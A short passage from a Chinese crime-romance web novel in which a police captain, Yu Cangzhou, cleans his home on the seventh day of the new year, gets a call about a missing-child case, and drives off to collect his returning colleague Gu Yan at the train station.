就这样,食不知味的日子过去,喻沧州一个人在家里待得都要发霉了的时候,顾彦要回来了。 初七那天,喻沧州一大早就起来了,顾彦下午才回来,喻沧州待在家里索性没事干,愣是哼着小曲把家里里里外外地收拾了一番,心情大好,这才开开心心地出门。 下楼,走到院子里,开车锁,正要拉开车门,手机铃声响了起来,喻沧州摁了绿键,“喂。” “喂,喻队,来新案子了,”来电的人是苏小小,“芜新街区有人报案,说家里小孩失踪了。我现在正在往那边赶,你也赶紧过来吧。” “知道了,顾彦刚好今天回A市,他马上就到了,我去火车站顺道接完他就和他一起过去。” “嗯。”苏小小说完就挂了电话。 喻沧州坐进车里,启动发动机,虽然初七要上班,来案子又要忙起来了,不过想到顾彦同时也回来了,又能见到他,和他一起工作,心情好像也不是很糟糕。HONDA渐渐提速,像破开风流的小舟一样向火车站驶去。